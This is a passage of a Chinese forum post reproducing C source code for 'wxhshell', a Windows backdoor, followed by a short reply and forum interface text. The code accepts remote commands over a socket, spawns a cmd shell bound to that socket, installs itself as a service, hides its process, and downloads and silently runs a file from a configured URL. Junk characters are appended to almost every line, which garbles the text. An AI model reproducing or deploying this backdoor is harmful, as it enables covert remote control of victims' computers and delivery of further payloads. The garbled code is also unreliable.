  else ksm=<I"C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sP5PYNspA  
  } z7{b>oub('  
  else { r6 ,5&`&  
q(!191@C(  
    switch(cmd[0]) { kHX- AsRc  
  5@Ot@o  
  // 帮助 !K(0)~u  
  case '?': { J9I!d.U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6!Ji-'\"  
    break; ;2)@NH  
  } K-k;`s#  
  // 安装 v?!x,H$Qd  
  case 'i': { 69r<Z  
    if(Install()) ![U|2x   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bPOehvK/  
    else -`iZBC50  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  5ah]E  
    break; o*I=6`j  
    } e}kEh+4  
  // 卸载 *Yl9%x]3c  
  case 'r': { 6/.-V1*O  
    if(Uninstall()) =|pQA~UU#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hUB _[#8#  
    else J'b *^K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LJfd{R1y+  
    break; y&-j NOKLM  
    } y!mjZR,&  
  // 显示 wxhshell 所在路径 Y%|f<C)lx2  
  case 'p': { VoWlBH  
    char svExeFile[MAX_PATH]; ^l7u^j  
    strcpy(svExeFile,"\n\r"); 4[Hf[.  
      strcat(svExeFile,ExeFile); qL,!  
        send(wsh,svExeFile,strlen(svExeFile),0); f77Jn^Dt  
    break; rC[*x}  
    } g15e|y)th  
  // 重启 ,~JxYh  
  case 'b': { g"hm"m}i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a%7%N N*i  
    if(Boot(REBOOT)) jzdK''CHi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7fw/i  
    else { *s S7^OZ*  
    closesocket(wsh); "^Tb8!  
    ExitThread(0); P< O[S  
    } o.k eM4OQ  
    break; +/-#yfn!TR  
    } NK$k9,  
  // 关机 ;l7wme8Qk  
  case 'd': { kDS4 t?Ig  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sD_Z`1  
    if(Boot(SHUTDOWN)) /F4rbL^:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f,k'gM{K  
    else { & LwR9\sh  
    closesocket(wsh); go@UE2qw  
    ExitThread(0); (@p E  
    } i~MCY.F  
    break; Siq2Glg_  
    } B'lWs;  
  // 获取shell co|jUDu>W  
  case 's': { @vCPX=c  
    CmdShell(wsh); 4=%Uv^M  
    closesocket(wsh); .`)\GjDv  
    ExitThread(0); py]m^)yc  
    break; 9.!6wd4mw  
  } ic%<39  
  // 退出 +5JCbT@y  
  case 'x': { nws '%MK)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =%%\b_\L  
    CloseIt(wsh); w9SPkPkYE  
    break; VL?ubt<  
    } SWN i@  
  // 离开 zy"L%i  
  case 'q': { {W)Kz_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); " 2Dz5L1v  
    closesocket(wsh); dpDVEEs84  
    WSACleanup(); N&]v\MjI62  
    exit(1); _*>bf G  
    break; -}/u?3^-  
        } j#f+0  
  } C\ZL*,%}  
  } 0~iC#lHO  
zcF~6-aQ  
  // 提示信息 AE={P*g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %g5TU 6WP  
} h3Nwxj~E  
  } Hzcy '  
ug'I:#@2  
  return; GbFLu`Iu  
} y< W?hE[  
2?u>A3^R  
// shell模块句柄 AjKP -[  
int CmdShell(SOCKET sock) 9c1g,:8\  
{ =Mzg={)v  
STARTUPINFO si; # =V%S 2~  
ZeroMemory(&si,sizeof(si)); +dX1`%RR[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6}='/d-[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F[<EXLQ  
PROCESS_INFORMATION ProcessInfo; \V  /s  
char cmdline[]="cmd"; p(QB5at  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EgOAEv  
  return 0; A[oLV"J6x5  
} W$B&asO  
(o~f6pNB,  
// 自身启动模式 M#LQz~E  
int StartFromService(void) }S<2({GI  
{ LZch7Xe3  
typedef struct jJk M:iR  
{ g0v},n  
  DWORD ExitStatus; VUC  
  DWORD PebBaseAddress;  _CY>45  
  DWORD AffinityMask; >J_{mU  
  DWORD BasePriority; O#  .^}  
  ULONG UniqueProcessId; '%_1eaH  
  ULONG InheritedFromUniqueProcessId; (# Z2  
}   PROCESS_BASIC_INFORMATION; ,],"tzKtE  
K QXw~g?  
PROCNTQSIP NtQueryInformationProcess; 8 !Pk1P  
'(mJ*Eb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )z&0 g2Am  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \HLI y  
9!b,!#=  
  HANDLE             hProcess; (f#QETiV  
  PROCESS_BASIC_INFORMATION pbi; .=~beTS'Vo  
)8kcOBG^L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }YW0?-G.$  
  if(NULL == hInst ) return 0; ,Dfq%~:grT  
E1IRb':  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A ${b]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _QbLg"O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mr6/d1af_  
F`S OF O  
  if (!NtQueryInformationProcess) return 0; %y)5:]  
et(/`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -}`ES]  
  if(!hProcess) return 0; rUEoz|e4a  
^"7tfo8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]as_7  
F]]np&UV.  
  CloseHandle(hProcess); o90SXa&l/  
Qj5~ lX`W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9w'3d @  
if(hProcess==NULL) return 0; 06"p ^#  
!<H[h4g  
HMODULE hMod; 4d4le  
char procName[255]; OSk:njyC[  
unsigned long cbNeeded; lE:X~RO"~  
|7n&I`#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2  *IF  
OLJb8kO  
  CloseHandle(hProcess); $C0Nv Jf  
8:;_MBt  
if(strstr(procName,"services")) return 1; // 以服务启动 bq[j4xH0X  
$gT+Ue|7  
  return 0; // 注册表启动 jXvGL  
} 3p{N7/z(  
)k01K,%#)  
// 主模块 pA%XqG*=Y  
int StartWxhshell(LPSTR lpCmdLine) <9 lZ%j;  
{ drP2% u  
  SOCKET wsl; Yr5A,-s  
BOOL val=TRUE; 4b=hFwr[?  
  int port=0; CZRrb84  
  struct sockaddr_in door; =Xh^@ OR  
kF.!U/C  
  if(wscfg.ws_autoins) Install(); G,M &z>ub0  
TWYz\Hmw  
port=atoi(lpCmdLine); e `zEsLs@  
:'?%%P  
if(port<=0) port=wscfg.ws_port; h^^zR)EVb  
4[a?. .X  
  WSADATA data; e`k6YO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fL.;-  
0l3v>ty  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9;2PoW8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vl*CU"4  
  door.sin_family = AF_INET; RR!(,j^M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '$pT:4EuGq  
  door.sin_port = htons(port); ATCFdtNc  
6eE%x?#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g \)+ LX  
closesocket(wsl); \ }xK$$f2,  
return 1; ;l> xXSB7$  
} F +PIZ%  
 hLFf  
  if(listen(wsl,2) == INVALID_SOCKET) { GHj1G,L@\  
closesocket(wsl); S>}jsP:V  
return 1; 26JP<&%L  
} 3xef>Xv=  
  Wxhshell(wsl); . +> w0FG.  
  WSACleanup(); :,"dno7OQ  
~ ui/Qf2|  
return 0; Mf7Q+_!  
;Q&38qI  
} <GPL8D  
~R/w~Kc!/A  
// 以NT服务方式启动 $V-]DD%Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,/6V^K  
{ /Y5I0Ko Uw  
DWORD   status = 0; ,{:c<W:A]  
  DWORD   specificError = 0xfffffff; 8(3'YNC  
~fw 6sY#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HmKvu"3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yao>F--?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IK5FSN]s/  
  serviceStatus.dwWin32ExitCode     = 0; L,!?'.*/]  
  serviceStatus.dwServiceSpecificExitCode = 0; #m?GBr%k  
  serviceStatus.dwCheckPoint       = 0; ! utgo/n  
  serviceStatus.dwWaitHint       = 0; H|;6K`O_  
L;/#D>U(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %F-/|x1#Q  
  if (hServiceStatusHandle==0) return; TEz)d=  
*6 -;iT8  
status = GetLastError(); 6la# 0U23  
  if (status!=NO_ERROR) ?xh_qy;  
{ ,6Sa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^_6%dKLK  
    serviceStatus.dwCheckPoint       = 0; ##d\|r  
    serviceStatus.dwWaitHint       = 0; W7.O(s,32  
    serviceStatus.dwWin32ExitCode     = status; ha  
    serviceStatus.dwServiceSpecificExitCode = specificError; Je_Hj9#M\d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +#8?y 5~q  
    return; QwXM<qG*  
  } h Vz%{R"  
Ntr5Q IPd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b9ysxuUdS  
  serviceStatus.dwCheckPoint       = 0; ,Hh7' `  
  serviceStatus.dwWaitHint       = 0; ;e;lPM{+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nR4L4tdS  
} GjZ@f nF  
VaC#9Tp2X  
// 处理NT服务事件,比如:启动、停止 1Lz`.%k`:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o/buU{)y  
{ BF8n: }9U  
switch(fdwControl) @_ ^QBw0  
{ %Y%+K5;AZ  
case SERVICE_CONTROL_STOP: }u cqzdk#2  
  serviceStatus.dwWin32ExitCode = 0; b7R#tT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NHA 2 i  
  serviceStatus.dwCheckPoint   = 0; Gir_.yc/  
  serviceStatus.dwWaitHint     = 0; 9\3%5B7  
  { #b\&Md|;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q)gZo[]~  
  } W> .O"Ri  
  return; idnn%iO  
case SERVICE_CONTROL_PAUSE: i,rP/A^q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y<TlvB)w  
  break; udtsq"U_%  
case SERVICE_CONTROL_CONTINUE: X5 lB],t"=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SdC505m0*  
  break; l|O^yNS  
case SERVICE_CONTROL_INTERROGATE: 8=gr F  
  break; :Q2\3  
}; C&D]!Zv F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W~p^AHco`  
} Tj*o[2mD  
T[a1S?_*T  
// 标准应用程序主函数 ju0]~,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _/ j44q  
{ 5Zs"CDU  
8B;`9?CI  
// 获取操作系统版本 7p3 ;b"'  
OsIsNt=GetOsVer(); ehCc N4V(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,]Yjo>`tW  
+ EG.p  
  // 从命令行安装 2T5@~^:7u  
  if(strpbrk(lpCmdLine,"iI")) Install();  s=#IoNh  
7c!oFwM  
  // 下载执行文件 ~6U@*Svk  
if(wscfg.ws_downexe) { 3Zg=ZnF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S;NChu?8  
  WinExec(wscfg.ws_filenam,SW_HIDE); WhE5u&`  
} I'"*#QOX  
ar+mj=m  
if(!OsIsNt) { 9bgKu6-X  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?# >|P-4  
HideProc(); ~] Mq'  
StartWxhshell(lpCmdLine); W6'+#Fp  
} X^%I 3  
else (HLy;^#R  
  if(StartFromService()) !? ?Cxs'  
  // 以服务方式启动 lnbw-IE!  
  StartServiceCtrlDispatcher(DispatchTable); :d/Z&LXD  
else qA9*t  
  // 普通方式启动 5{ #9b^  
  StartWxhshell(lpCmdLine); \|R`wFn^P  
;G!X?(%+  
return 0; meR%);\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五